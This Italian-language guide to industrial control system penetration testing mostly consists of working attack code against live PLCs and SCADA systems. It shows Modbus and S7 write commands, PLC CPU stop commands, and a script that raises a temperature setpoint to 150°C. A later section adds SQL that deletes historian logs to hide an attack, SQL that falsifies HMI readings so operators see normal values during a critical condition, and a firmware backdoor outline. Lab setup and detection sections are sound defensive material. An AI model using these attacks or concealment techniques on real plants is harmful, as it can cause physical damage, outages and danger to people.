networking

ICS/OT pentesting: guida completa SCADA, PLC e protocolli industriali

ICS/OT pentesting: guida completa SCADA, PLC e protocolli industriali

Guida completa al penetration testing ICS/OT: protocolli Modbus, S7, DNP3, BACnet, EtherNet/IP. Tool GRASSMARLIN, pymodbus, python-snap7, ISF, IndustrialXPL-Forge. CVE 2024-2025 e attacchi reali.

  • Pubblicato il 2026-06-02
  • Tempo di lettura: 15 min

Come Fare ICS/OT Pentesting: Attacchi, Tool e Tecniche su Sistemi Industriali #

Scenario: Sei in un penetration test su una fabbrica, centrale elettrica, o impianto di trattamento acque. Non puoi usare Nmap -A o tool IT standard: i PLC crashano, perdi la produzione, rischi blackout fisici. Come testi la sicurezza senza distruggere l’impianto? Come accedi ai PLC Siemens senza credenziali? Come scopri cosa controllano i registri Modbus? Come rimani dentro un sistema SCADA che non può essere rebooted?

Nel 2025, 180.000 ICS device sono direttamente esposti a Internet (Bitsight 2025). Il 45% usa Modbus TCP plaintext senza autenticazione. Nel gennaio 2024, attaccanti hanno spento i riscaldamenti di 600 appartamenti a Lviv (Ucraina) con soli comandi Modbus grezzi — zero malware, zero credenziali rubate. 87% in più di attacchi ransomware OT nel 2024 (Dragos). Costo downtime: fino a $2.3 milioni/ora nelle linee automotive.


1. ICS vs IT – Le Differenze Critiche #

ICS (Industrial Control Systems) controlla il mondo fisico: fabbriche, acqua, energia, gas. Non puoi “rollbackare” un errore — se blocchi una pompa nel modo sbagliato, l’impianto si ferma.

Componenti principali:

  • PLC (Programmable Logic Controller): computer che controlla macchinari specifici
  • RTU (Remote Terminal Unit): versione da campo del PLC, spesso DNP3
  • HMI (Human Machine Interface): schermo operatore con valori real-time
  • SCADA (Supervisory Control and Data Acquisition): supervisione centralizzata
  • Historian: database time-series di tutti i valori di campo

Protocolli vs IT:

  • Modbus (1979): no auth, no encryption, plaintext. Il più diffuso.
  • DNP3 (1993): utility SCADA, ancora 70% senza auth
  • S7comm (Siemens): proprietario, porta 102, no auth di default su S7-300/400
  • EtherNet/IP (Rockwell/Allen-Bradley): CIP protocol su TCP/UDP
  • BACnet: building automation (HVAC, ascensori)
  • OPC UA (moderno): ha security, ma spesso misconfigured

2. Purdue Model – Come è Organizzato il Network ICS #

text
Level 4 – Enterprise IT:  uffici, email, ERP (SAP), connesso a Internet
Level 3 – DMZ/Gateway:   firewall, historian, engineering WS, proxy
Level 2 – Supervisory:   SCADA server, HMI, DCS
Level 1 – Control Layer: PLC, RTU, I/O modules, smart sensors
Level 0 – Field Devices: sensori (temperatura, pressione), valvole, attuatori

Attack Path Tipico: Phishing su email ingegnere (Level 4) → Pivot tramite VPN engineering (Level 3) → Accesso SCADA/historian (Level 2) → Comandi ai PLC (Level 1) → Effetto fisico (Level 0).


3. FASE 1 – Passive Reconnaissance (Zero Noise) #

Tool: GRASSMARLIN (NSA/CISA) #

GitHub: https://github.com/nsacyber/GRASSMARLIN

GRASSMARLIN mappa la topologia ICS in modo completamente passivo — non invia nessun pacchetto. Analizza pcap o monitora interfaccia di rete in sola lettura. Ideale come primo step perché non disturba i PLC.

bash
# Install GRASSMARLIN (Java, precompiled releases disponibili)
# Download da: https://github.com/nsacyber/GRASSMARLIN/releases

# Cattura traffico passivo su interfaccia di rete (no packet injection)
java -jar grassmarlin.jar --live eth0

# Analisi offline di pcap catturato in precedenza
java -jar grassmarlin.jar --import ics_traffic.pcap

# Output: mappa topologica con:
# - IP e MAC di ogni device ICS
# - Vendor fingerprint (Siemens, Schneider, ABB, Rockwell)
# - Protocolli identificati (Modbus TCP, S7comm, DNP3)
# - Frecce che mostrano chi comunica con chi
# - Alert su device che communicano in modo anomalo

Errore tipico: GRASSMARLIN è deprecated (NSA lo ha abbandonato). Funziona bene su traffico pre-2022. Per ambienti moderni con OPC UA, usa Zeek ICS plugin come alternativa.

Shodan ICS Dorks #

Shodan indicizza PLC esposti a Internet. Utile per reconnaissance esterna pre-engagement.

bash
# Install shodan CLI
pip install shodan
shodan init YOUR_API_KEY

# Trova Modbus TCP esposti (no auth, plaintext)
shodan search "port:502 modbus"

# Siemens S7 esposti
shodan search "port:102 S7"

# Trova Schneider Electric PLCs
shodan search "Schneider Electric" port:502

# ICS devices in Italia
shodan search "port:502" country:IT

# Con filtro per versione firmware vulnerabile
shodan search "SIMATIC" port:102 country:DE

# scada_seek: tool Python con 300+ query pre-built
# GitHub: https://github.com/redhatzayn/scada_seek
git clone https://github.com/redhatzayn/scada_seek
python scada_seek.py --discover --query-id 1  # Modbus TCP exposed
python scada_seek.py --scan --max-targets 10   # Scan targets found

4. FASE 2 – Active Enumeration (Low & Slow) #

Tool: Nmap NSE – ICS Protocol Scripts #

Nmap ha script NSE specifici per protocolli ICS. Usa sempre -sT (TCP connect) invece di -sS (SYN scan) su ICS — i PLC possono crashare con SYN flood.

bash
# Scopri Modbus TCP devices e Slave ID
nmap -Pn -sT -p502 --script modbus-discover 192.168.1.0/24

# Enumera aggressivamente tutti gli Slave ID da 0 a 255
nmap --script modbus-discover \
  --script-args='modbus-discover.aggressive=true' \
  -p502 192.168.1.100

# Siemens S7 – identifica modello, firmware, numero serie
nmap -Pn -sT -p102 --script s7-info 192.168.1.0/24
# Output: S7-300, CPU315-2 PN/DP, Serial: S C-C2UR28922012, Firmware: V3.3.14

# DNP3 (porta 20000 UDP/TCP)
nmap -sU -p20000 --script dnp3-info 192.168.1.0/24

# BACnet (Building Automation, porta 47808 UDP)
nmap -sU -p47808 --script bacnet-info 192.168.1.0/24
# Output: vendor=Siemens, model=RXC27.5, instance=1234

# EtherNet/IP (Allen-Bradley Rockwell, porta 44818)
nmap -Pn -sT -p44818 --script enip-info 192.168.1.0/24
# Output: Allen-Bradley, MicroLogix 1400, Revision 21.4

# Fox protocol (Tridium Niagara SCADA, porta 1911)
nmap -Pn -sT -p1911 --script fox-info 192.168.1.0/24

# Scan completo protocolli ICS in una sola riga
nmap -Pn -sT -sU \
  -p T:102,502,44818,1911,20000,47808,4840 \
  -p U:20000,47808 \
  --script "modbus-discover,s7-info,dnp3-info,bacnet-info,enip-info" \
  192.168.1.0/24

Tool: modbuster – Modbus CLI #

GitHub: https://github.com/TacticalGator/modbuster

Tool command-line moderno per Modbus TCP. Più leggibile di pymodbus per operazioni rapide.

bash
git clone https://github.com/TacticalGator/modbuster
cd modbuster && pip install -r requirements.txt

# Scopri funzioni Modbus supportate dal PLC
modbuster getfunctions 192.168.1.100

# Leggi 10 holding registers da indirizzo 400001 (slave 1)
modbuster read -s 1 192.168.1.100 400001 10

# Leggi discrete inputs (sensori digitali ON/OFF)
modbuster read -s 1 -t di 192.168.1.100 100001 8

# Leggi coils (uscite digitali controllabili)
modbuster read -s 1 -t co 192.168.1.100 1 8

# Scrivi singolo coil (ON)
modbuster write -s 1 -t co 192.168.1.100 1 1

# Scrivi registro con valore specifico
modbuster write -s 1 192.168.1.100 400005 1500

5. FASE 3 – Modbus TCP Exploitation (pymodbus) #

GitHub: https://github.com/pymodbus-dev/pymodbus

pymodbus è la libreria Python standard per Modbus. Versione v3.x usa slave=, v4.x usa device_id=.

bash
pip install pymodbus
# Verifica versione: python3 -c "import pymodbus; print(pymodbus.__version__)"

Read & Enumerate Registers #

python
from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusException

client = ModbusTcpClient('192.168.1.100', port=502, timeout=5)
if not client.connect():
    print("[-] Connessione fallita")
    exit(1)

# Leggi Holding Registers (area dati principali, 16-bit integer)
# pymodbus v3.x: slave=1 | pymodbus v4.x: device_id=1
result = client.read_holding_registers(address=0, count=50, slave=1)
if not result.isError():
    for i, val in enumerate(result.registers):
        if val != 0:  # Stampa solo registri non-zero (più probabili critici)
            print(f"  HR[{i}]: {val} (0x{val:04x})")

# Leggi Input Registers (read-only, sensori analogici)
result = client.read_input_registers(address=0, count=20, slave=1)
if not result.isError():
    print(f"Input Registers: {result.registers}")

# Leggi Discrete Inputs (sensori digitali ON/OFF, read-only)
result = client.read_discrete_inputs(address=0, count=8, slave=1)
if not result.isError():
    for i, bit in enumerate(result.bits[:8]):
        print(f"  DI[{i}]: {'ON' if bit else 'OFF'}")

# Leggi Coils (output digitali, read/write)
result = client.read_coils(address=0, count=8, slave=1)
if not result.isError():
    for i, bit in enumerate(result.bits[:8]):
        print(f"  Coil[{i}]: {'ON' if bit else 'OFF'}")

client.close()

Write Operations (Exploitation) #

python
from pymodbus.client import ModbusTcpClient
import time

client = ModbusTcpClient('192.168.1.100', port=502, timeout=5)
client.connect()

# Scrivi un singolo coil (ON/OFF comando fisico: pompa, valvola, relay)
# ⚠️ Effetto immediato sul macchinario fisico
result = client.write_coil(address=1, value=True, slave=1)  # ON
if not result.isError():
    print("[+] Coil 1 impostato a ON")

# Scrivi singolo registro (setpoint: temperatura, velocità, pressione)
result = client.write_register(address=100, value=1500, slave=1)

# Scrivi blocco di registri (modifica multipli parametri in una volta)
values = [1500, 80, 50, 25, 100]
result = client.write_registers(address=100, values=values, slave=1)

# Mask Write Register (modifica solo bit specifici, non l'intero registro)
# Usa AND mask + OR mask per modificare bit selezionati
result = client.mask_write_register(address=5, and_mask=0xFF00, or_mask=0x00FF, slave=1)

client.close()

Scapy Modbus – Packet Crafting Manuale #

Scapy ha contrib Modbus per crafting di pacchetti personalizzati (function code non standard).

python
from scapy.contrib.modbus import ModbusADURequest, ModbusPDU03ReadHoldingRegistersRequest
from scapy.all import sr1

# Craft pacchetto Modbus Read Holding Registers (function code 0x03)
pkt = ModbusADURequest(transId=1, unitId=1) / \
      ModbusPDU03ReadHoldingRegistersRequest(startAddr=0, quantity=10)
resp = sr1(pkt, iface="eth0", timeout=2)
if resp:
    print(resp.show())

# Craft function code non standard (per fuzzing)
from scapy.contrib.modbus import ModbusPDU2B0EReadDeviceIdentificationRequest
pkt = ModbusADURequest(transId=2, unitId=1) / \
      ModbusPDU2B0EReadDeviceIdentificationRequest(readCode=1, objectId=0)
resp = sr1(pkt, timeout=2)

6. FASE 4 – Siemens S7 Exploitation (python-snap7) #

GitHub: https://github.com/gijzelaerr/python-snap7

python-snap7 v3.0 è pure Python (no dipendenze native). Comunica via protocollo S7comm (porta 102, TPKT/COTP/S7). Funziona su S7-300, S7-400, S7-1200 (con PUT/GET abilitato), S7-1500.

bash
pip install python-snap7

Discovery e Fingerprinting #

python
import snap7

client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)  # rack/slot dal config TIA Portal

# Recupera info complete del PLC (modello, serial, firmware)
# ⚠️ ATTENZIONE: get_cpu_info() può CRASHARE alcuni S7-300 legacy
# Testa prima in lab con Conpot o PLCSim
info = client.get_cpu_info()
print(f"Modello: {info.ModuleTypeName.decode()}")
print(f"Serial:  {info.SerialNumber.decode()}")
print(f"Firmware: {info.Copyright.decode()}")
# Output: Modello: CPU 315-2 PN/DP | Serial: S C-C2UR28922012

# Recupera stato CPU (RUN/STOP/ERROR)
state = client.get_cpu_state()
print(f"CPU State: {state}")  # 0x08=RUN, 0x04=STOP, 0x10=ERROR

# Recupera livello di protezione (password impostata?)
protection = client.get_protection()
print(f"Protection Level: {protection.sch_schal}")
# 0=No protection, 1=Read only, 2=Write protect, 3=Full protect

Enumera e Leggi Data Blocks #

python
import snap7
from snap7.types import Areas

client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)

# Lista tutti i blocchi disponibili nel PLC
blocks = client.list_blocks()
print(f"OB blocks: {blocks.OBCount}")   # Organization Blocks (main program)
print(f"FC blocks: {blocks.FCCount}")   # Functions
print(f"FB blocks: {blocks.FBCount}")   # Function Blocks
print(f"DB blocks: {blocks.DBCount}")   # Data Blocks (dati)

# Lista Data Block specifici con metadati
db_list = client.list_blocks_of_type('DB')
for db in db_list:
    print(f"  DB{db}: size={db.Size} bytes")

# Leggi intero Data Block DB1
db_data = client.db_get(db_number=1)
print(f"DB1 raw bytes: {db_data.hex()}")

# Leggi porzione specifica di DB (DB1, partendo da byte 0, 20 byte)
data = client.db_read(db_number=1, start=0, size=20)
print(f"DB1[0:20] hex: {data.hex()}")

# Parsing dei dati (float 32-bit, byte order big-endian Siemens)
import struct
float_val = struct.unpack('>f', data[0:4])[0]
int_val = struct.unpack('>H', data[4:6])[0]    # UINT 16-bit
bool_val = bool(data[6] & 0x01)               # Bit 0 del byte 6
print(f"Temperatura: {float_val:.2f}°C | Setpoint: {int_val} | Enable: {bool_val}")

Upload Completo della Control Logic #

python
import snap7
from snap7.types import Block

client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)

# Full Upload di un blocco (include header + codice S7 compilato)
# DB1 – scarica tutta la logica del Data Block
buffer, size = client.full_upload(block_type=Block.DB, block_num=1)
with open('DB1_dump.bin', 'wb') as f:
    f.write(buffer[:size])
print(f"[+] DB1 uploaded: {size} bytes → DB1_dump.bin")

# Analizza il dump con Wireshark o IDA Pro per reverse engineering
# I DB contengono: variabili, strutture, valori iniziali
# Gli OB/FC/FB contengono il programma ladder/STL compilato

CPU Control (Stop/Start) #

python
import snap7

client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)

# Stop CPU (ferma il programma PLC)
# ⚠️ Effetto immediato: tutti gli output vanno in stato sicuro (STOP)
client.plc_stop()
print("[!] CPU STOP")

import time
time.sleep(5)

# Warm restart CPU (riavvia il programma dall'ultimo stato)
client.plc_warm_restart()
print("[+] CPU WARM RESTART")

# Cold start (riavvia come fresh start)
client.plc_cold_start()

Write Data Block (Logic Manipulation) #

python
import snap7
import struct

client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)

# Leggi stato attuale
original = client.db_read(db_number=1, start=0, size=20)
print(f"Originale: {original.hex()}")

# Modifica valore temperatura setpoint (float a offset 0)
new_temp = 150.0  # 150°C invece di 75°C normale
payload = bytearray(20)
payload[0:4] = struct.pack('>f', new_temp)  # Float big-endian Siemens
payload[4:20] = original[4:20]  # Mantieni resto invariato

# Scrivi nel DB
result = client.db_write(db_number=1, start=0, data=payload)
print(f"[+] DB1 temperatura setpoint modificata a {new_temp}°C")

# Ripristina (importante in pentest autorizzato!)
client.db_write(db_number=1, start=0, data=original)
print("[+] Ripristinato valore originale")

client.disconnect()

7. FASE 5 – ISF (Industrial Security Framework) #

GitHub: https://github.com/dark-lbp/isf

ISF è il “Metasploit per ICS”. Struttura modulare con exploit per Siemens, Schneider, ABB, VxWorks, QNX. Scritto in Python (simile a routersploit).

bash
git clone https://github.com/dark-lbp/isf
cd isf && pip install -r requirements.txt
python isf.py
text
# Avvia ISF
isf > show exploits

# Exploit disponibili:
# exploits/plcs/siemens/s7_300_400_plc_control   – S7-300/400 stop/start
# exploits/plcs/siemens/s7_1200_plc_control       – S7-1200 stop/start/reset
# exploits/plcs/schneider/quantum_140_plc_control – Schneider Quantum stop/start
# exploits/plcs/qnx/qconn_remote_exec             – QNX remote code execution
# exploits/plcs/vxworks/vxworks_rpc_dos           – VxWorks DoS (CVE-2015-7599)
# scanners/ics/modbus_scanner                      – Modbus slave scanner
# scanners/ics/s7_scanner                          – Siemens S7 scanner

# Usa exploit Siemens S7-300/400 control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) > show options
# Options: target, port (102), slot (2), command (0=start, 1=stop)

isf (S7-300/400 PLC Control) > set target 192.168.1.100
isf (S7-300/400 PLC Control) > set command stop
isf (S7-300/400 PLC Control) > run
# [+] Target is alive
# [*] Stop plc → CPU si ferma

# S7-1200 (slot diverso)
isf > use exploits/plcs/siemens/s7_1200_plc_control
isf (S7-1200) > set target 192.168.1.100
isf (S7-1200) > set slot 1  # S7-1200 usa slot 1
isf (S7-1200) > set command stop
isf (S7-1200) > run

# Schneider Quantum 140 series
isf > use exploits/plcs/schneider/quantum_140_plc_control
isf (Schneider Quantum) > set target 192.168.1.100
isf (Schneider Quantum) > set command stop
isf (Schneider Quantum) > run

# ABB CPU Command
isf > use exploits/plcs/abb/abb_cpu_command
isf (ABB CPU) > set target 192.168.1.100
isf (ABB CPU) > run

# Scanner Modbus integrato
isf > use scanners/ics/modbus_scanner
isf (Modbus Scanner) > set target 192.168.1.0/24
isf (Modbus Scanner) > run

8. FASE 6 – IndustrialXPL-Forge (2025 – MITRE ATT&CK for ICS) #

PyPI: https://pypi.org/project/industrialxpl-forge/

Framework moderno 2025. SafeMode per default — simula senza inviare. Copre 79 tecniche MITRE ATT&CK for ICS, 3300+ CVE, 50 vendor, 50 protocolli. Non richiede Metasploit.

bash
pip install industrialxpl-forge
ixf  # Avvia shell interattiva
text
# Modalità SafeMode (default): stampa payload senza inviarlo
ixf > use scanners/ics/modbus_detect
ixf > set target 192.168.1.100
ixf > check   # Testa se vulnerabile (non esplota)

# Esegui MITRE ATT&CK for ICS technique T0843 (Program Download)
ixf > ttp T0843 192.168.1.100
# SafeMode: mostra payload S7 che verrebbe inviato senza mandarlo

# Disabilita SafeMode per esecuzione reale (solo su sistemi autorizzati)
ixf > set safemode off
ixf > ttp T0843 192.168.1.100

# Scan subnet con tecnica T0878 (Alarm Suppression)
ixf > ttp T0878 10.0.0.0/24

# Lista tutte le tecniche evasion ICS
ixf > ttp-list --tactic evasion

# Scan MITRE completo (modalità discovery)
ixf > mitre-scan discovery 192.168.1.0/24

# Testa specifico CVE
ixf > cve CVE-2025-41660   # CODESYS RCE (500+ vendor)
ixf > cve CVE-2015-5374    # Siemens SIPROTEC4 DoS

# Scan tutti i CVE noti sul target
ixf > cve-scan 192.168.1.100

# Report ATT&CK Navigator (layer JSON per visualizzazione)
ixf > mitre-report layer

9. FASE 7 – Protocolli Aggiuntivi #

DNP3 (Utility SCADA – Acqua/Energia) #

DNP3 è usato da utility (acqua, energia elettrica). Nel 2025, 70% delle installazioni non usa “Secure Authentication v6”. Porta default: 20000 TCP/UDP.

bash
# Enumera device DNP3 con Nmap
nmap -sU -p20000 --script dnp3-info 192.168.1.0/24

# Cattura e analizza traffico DNP3 (Wireshark)
tcpdump -i eth0 -w dnp3.pcap 'port 20000'
# In Wireshark: filtro "dnp3"
# Function codes critici: 0x01=READ, 0x03=WRITE, 0x05=DIRECT_OPERATE (controllo diretto)

# Deploy Conpot con template DNP3 (lab sicuro)
conpot --template dnp3 --bind 0.0.0.0:20000 -f

BACnet (Building Automation – HVAC, Ascensori) #

BACnet controlla edifici intelligenti: riscaldamento, aria condizionata, ascensori, accesso. Porta 47808 UDP. Zero auth di default.

bash
# Scan BACnet con Nmap
nmap -sU -p47808 --script bacnet-info 192.168.1.0/24
# Output: vendor=Johnson Controls, model=Metasys, devices=45

# BACnet-specific scanner
pip install bacpypes3
python3 -c "
from bacpypes3.ipv4.app import NormalApplication
import asyncio

# Discover BACnet devices sulla subnet
async def discover():
    app = NormalApplication()
    # Who-Is: broadcast per trovare tutti i device BACnet
    await app.who_is()
    await asyncio.sleep(2)
    for device in app.discovered:
        print(f'BACnet device: {device.address} - {device.objectName}')
asyncio.run(discover())
"

# Metasploit BACnet scan
msfconsole
> use auxiliary/scanner/bacnet/bacnet_device_info
> set RHOSTS 192.168.1.0/24
> exploit

EtherNet/IP – Allen-Bradley / Rockwell Automation #

EtherNet/IP usa il protocollo CIP (Common Industrial Protocol). Allen-Bradley MicroLogix, ControlLogix, CompactLogix. Porta 44818 TCP.

bash
# Scan EtherNet/IP
nmap -Pn -sT -p44818 --script enip-info 192.168.1.0/24

# cpppo: Python library per Allen-Bradley EtherNet/IP
pip install cpppo

# List Allen-Bradley PLC tags (variabili)
python3 -m cpppo.server.enip.client 192.168.1.100 "@1/1/1"
# Output: lista di tutti i tag PLC (nomi variabili, tipi, valori)

# Leggi tag specifico
python3 -m cpppo.server.enip.client 192.168.1.100 "Motor_Speed"
# Output: Motor_Speed = 1450 RPM

# Scrivi tag (cautela: effetto immediato)
python3 -m cpppo.server.enip.client 192.168.1.100 "Pump_Enable=True"

OPC UA (Moderno – Spesso Misconfigured) #

OPC UA porta 4840. Anche con security mode “None” (nessuna crittografia), molti server sono accessibili senza auth.

bash
pip install asyncua

python3 << 'EOF'
import asyncio
from asyncua import Client

async def browse_opc():
    url = "opc.tcp://192.168.1.100:4840/freeopcua/server/"
    
    async with Client(url=url) as client:
        # Enumera namespace disponibili
        ns = await client.get_namespace_array()
        print(f"Namespaces: {ns}")
        
        # Browse nodi root (senza autenticazione)
        root = client.get_root_node()
        objects = await root.get_children()
        for obj in objects:
            print(f"Node: {await obj.read_display_name()}")
        
        # Leggi valore di un nodo noto
        var = client.get_node("ns=2;i=2")
        val = await var.read_value()
        print(f"Value: {val}")

asyncio.run(browse_opc())
EOF

10. FASE 8 – Reverse Engineering Control Logic #

Come Scopri Cosa Controllano i Registri #

Il problema principale: sai che esistono registri Modbus ma non sai cosa controllano. Questo è il processo per scoprirlo.

Step 1: Cattura baseline durante operazione normale

bash
tcpdump -i eth0 'port 502' -w modbus_baseline.pcap
# Aspetta 30 minuti di operazione normale
# Analizza in Wireshark: filtro "modbus"
# Nota: quali registri vengono letti ogni 5s? Quali scritti raramente?
# Tipicamente: letture frequenti = sensori, scritture rare = setpoint

Step 2: Mappa visiva dei registri attivi

python
from pymodbus.client import ModbusTcpClient
import time

client = ModbusTcpClient('192.168.1.100', port=502, timeout=5)
client.connect()

# Scansione sistematica di tutti i registri
print("=== HOLDING REGISTERS SCAN ===")
active_registers = {}

for addr in range(0, 200):
    result = client.read_holding_registers(address=addr, count=1, slave=1)
    if not result.isError():
        val = result.registers[0]
        active_registers[addr] = val
        if val != 0:
            print(f"  HR[{addr:03d}] = {val:5d} (0x{val:04x})")
    time.sleep(0.1)  # Rate limiting per non disturbare PLC

print(f"\nTotale registri attivi: {len([v for v in active_registers.values() if v != 0])}")
client.close()

Step 3: Test controllato — scrivi un valore alla volta

python
from pymodbus.client import ModbusTcpClient
import time

client = ModbusTcpClient('192.168.1.100', port=502, timeout=5)
client.connect()

# Test registro 5: diminuisci di 1 e osserva effetto fisico
original_val = client.read_holding_registers(address=5, count=1, slave=1).registers[0]
test_val = original_val - 1 if original_val > 0 else original_val + 1

input(f"HR[5]={original_val}. Scrivo {test_val}. Guarda HMI. Premi ENTER...")
client.write_register(address=5, value=test_val, slave=1)
time.sleep(3)

# Osserva: pompa rallentata? valvola parzialmente chiusa? alarm attivato?
# Se qualcosa cambia → hai trovato un registro critico

# SEMPRE ripristina
client.write_register(address=5, value=original_val, slave=1)
print("Ripristinato")
client.close()

Step 4: Documenta la mappa

text
HOLDING REGISTERS MAP (da reverse engineering):
HR[0]:  System Status (bitfield read-only)
        Bit 0: Motor Running | Bit 1: Valve Open | Bit 2: Alarm
HR[5]:  Motor Speed Setpoint (0-3000 RPM)     ← CRITICO
HR[10]: Temperature Setpoint (0-200, in °C*10)
HR[15]: Pressure Limit (0-100 bar)            ← CRITICO
HR[20]: Pump Enable (0=OFF, 1=ON)             ← CRITICO

COILS MAP:
Coil[0]: Emergency Stop (1=stop)
Coil[1]: Pump Enable
Coil[2]: Heater Enable

11. FASE 9 – Advanced Attack Scenarios #

Scenario A: Historian Tampering (Cancella Tracce) #

Il SCADA historian (database time-series) registra tutto. Dopo un attacco, devi cancellare le tracce.

python
import pyodbc  # Se historian è SQL Server (OSIsoft PI, Wonderware)

conn = pyodbc.connect('DRIVER=ODBC Driver 17 for SQL Server;'
                      'SERVER=192.168.1.50;DATABASE=HistorianDB;'
                      'UID=sa;PWD=password123')
cursor = conn.cursor()

# Cancella eventi anomali dal log (es: le tue scritture ai registri)
cursor.execute("""
    DELETE FROM EventLog 
    WHERE Timestamp BETWEEN '2026-06-24 22:00:00' AND '2026-06-24 23:00:00'
    AND Source = 'ModbusTCP'
""")
conn.commit()
print("[+] Tracce rimosse dall'historian")

Scenario B: HMI Display Manipulation #

Modifica i valori visualizzati sull’HMI senza modificare il processo reale (Stuxnet-style).

python
# Se SCADA usa database SQL per display
# Modifica solo tabella display, non il processo
cursor.execute("""
    UPDATE DisplayValues 
    SET DisplayValue = 75  -- Mostra 75°C (normale)
    WHERE TagName = 'Temp_Reactor_1'
""")
# Mentre il valore reale è 150°C (critico)
# Operatore non vede problema
conn.commit()

Scenario C: Firmware Backdoor (Stuxnet Technique) #

Modifica logica PLC per inserire backdoor persistente nel firmware.

python
import snap7
import struct

client = snap7.Client()
client.connect('192.168.1.100', rack=0, slot=2)

# Leggi OB1 (Organization Block 1 = main program)
ob1_data, size = client.full_upload(block_type='OB', block_num=1)

# Analizza bytecode S7 (STL compilato)
# Modifica: aggiungi condizione che attiva comportamento anomalo
# quando riceve "trigger" specifico (es: registro 999 = 0xDEAD)
# ... reverse engineering del bytecode S7 necessario

# Scrivi OB1 modificato (download)
# client.download(block_type='OB', block_num=1, modified_ob1)
# ⚠️ Permanente finché non riprogrammato con TIA Portal

client.disconnect()

12. Lab Sicuro – Setup per Pratica #

GRFICSv3 – Lab OT Completo con 3D Simulation #

GitHub: https://github.com/Fortiphyd/GRFICSv3

Lab open-source con rete reale (OpenPLC, ScadaBR, HMI) e simulazione 3D di processo chimico.

bash
# Prerequisiti: Docker + Docker Compose
git clone https://github.com/Fortiphyd/GRFICSv3
cd GRFICSv3

# Avvia tutto l'ambiente (PLC, SCADA, HMI, simulazione 3D)
docker-compose up -d

# Servizi disponibili:
# OpenPLC:   http://localhost:8080 (admin/openplc) – PLC programmabile
# ScadaBR:   http://localhost:8888 – SCADA server
# HMI:       http://localhost:8080/hmi – Monitor operatore
# Simulazione 3D: http://localhost:3000 – Reactor chimico virtuale

# Indirizzo PLC Modbus TCP: 172.16.238.10:502
# Ora puoi testare pymodbus, ISF, IndustrialXPL-Forge contro target reali
# senza rischi fisici

Conpot – Honeypot Multi-Protocollo #

GitHub: https://github.com/mushorg/conpot

bash
pip install conpot

# Modbus TCP honeypot
conpot --template modbus --bind 0.0.0.0:502 -f

# Siemens S7 honeypot (testa python-snap7 safe)
conpot --template siemens --bind 0.0.0.0:102 -f

# DNP3 honeypot
conpot --template dnp3 --bind 0.0.0.0:20000 -f

# Guard: Conpot logga tutto, utile anche per blue team training
tail -f /var/log/conpot/conpot.log

13. CVE Critici 2024-2025 #

CVE-2025-41660 (CODESYS Runtime RCE – 500+ Vendor) #

CODESYS è il runtime PLC usato da Schneider, ABB, Beckhoff, Wago e altri 500+ vendor. Buffer overflow nel parser di comunicazione → RCE.

bash
# Identifica device con CODESYS (porta 2455, 11740)
nmap -sT -p2455,11740 192.168.1.0/24
# Se porte aperte: probabile CODESYS runtime

# Con IndustrialXPL-Forge
ixf > cve CVE-2025-41660
ixf > set target 192.168.1.100
ixf > check  # Verifica vulnerabilità (SafeMode)

CVE-2024-34026 (OpenPLC EtherNet/IP Buffer Overflow) #

Stack buffer overflow nel parser EtherNet/IP di OpenPLC → RCE.

bash
# Identifica OpenPLC (EtherNet/IP porta 44818)
nmap -sT -p44818 --script enip-info 192.168.1.0/24
# Se "OpenPLC" nel banner: vulnerabile a CVE-2024-34026

# Tool di verifica
ixf > cve CVE-2024-34026
ixf > set target 192.168.1.100

CVE-2015-5374 (Siemens SIPROTEC4 DoS) #

Relay di protezione Siemens (protezioni elettriche substation). UDP packet malformato → device non risponde → protezione offline.

bash
# Identifica SIPROTEC4 (porta 50000 UDP tipica)
nmap -sU -p50000 192.168.1.0/24

# Con ISF
ixf > cve CVE-2015-5374
ixf > set target 192.168.1.100
# ⚠️ Testa SOLO in lab — effetto: relay si sbloccano, substazione senza protezione

14. Blue Team Detection #

Baseline Traffico Normale #

bash
# Cattura 1 settimana di traffico normale
tcpdump -i eth0 'port 502 or port 102 or port 44818' -w ics_baseline.pcap

# Estrai statistiche con tshark
tshark -r ics_baseline.pcap -q -z io,phs > baseline_stats.txt

# Pattern normale atteso (esempio Modbus):
# - Read HR[0-20] ogni 5 secondi (stesso master, stesso slave)
# - Write HR[100] raramente (solo da engineering WS con IP noto)
# - Nessuna comunicazione fuori orario 6:00-22:00

Wireshark Filters per Anomaly Detection #

bash
# Modbus write anomaly (mai visto prima)
modbus.func_code == 6 or modbus.func_code == 16

# S7 CPU stop command
s7comm.param.func == 0x29 and s7comm.param.subfunction == 0x01

# Nuovo source IP che comunica con PLC
ip.dst == 192.168.1.100 and not ip.src in {192.168.1.10, 192.168.1.20}

# Scanning activity (molti device contattati in sequenza)
modbus.unit_id > 0 and frame.time_delta < 0.5

SIEM Rules (Splunk/ELK) #

text
# Detect Modbus write su registri mai modificati prima
index=ics modbus_func_code IN (5,6,15,16)
| where register_addr NOT IN (baseline_writable_registers)
| stats count by source_ip, register_addr

# Detect engineering WS connessa fuori orario
index=ics s7_connection=true
| where NOT (hour(timestamp) >= 8 AND hour(timestamp) <= 18)
| stats count by source_ip

# Detect nuovo device su OT network (non in whitelist)
index=network dest_port IN (502,102,44818,20000)
| where src_ip NOT IN (ics_whitelist)
| stats count by src_ip

15. Attacchi Reali Documentati #

Lviv Heating System (Gennaio 2024) #

Attaccanti entrano via MikroTik router non securizzato (confine IT/OT senza DMZ). Creano Layer 2 tunnel verso rete OT. Mandano comandi Modbus TCP WRITE diretti ai riscaldamenti ENCO. 600 appartamenti senza riscaldamento per 2 giorni in pieno inverno ucraino. Zero malware. Zero credenziali. Solo Modbus TCP plaintext su porta 502.

Stuxnet (2010, CVE-2009-3642 et al.) #

Primo cyberweapon pubblicamente noto contro ICS. Malware entra via USB su engineering workstation, hijacka s7otbxdx.dll (Siemens TIA Portal DLL). Intercetta compilazione del programma PLC → inietta codice nel firmware S7-300 silenziosamente. Il PLC altera parametri centrifughe (Iran, Natanz) mentre HMI mostra valori normali. Persistenza nel firmware — sopravvive a reboot e reset.

Industroyer/Crashoverride (2016, Ucraina) #

Malware specializzato per grid elettrica. Manda comandi IEC 60870-5-104 ai RTU: apri i circuit breaker. 230.000 persone senza corrente. Cancella log dall’historian per rallentare incident response. Attributo a Sandworm (Russia).

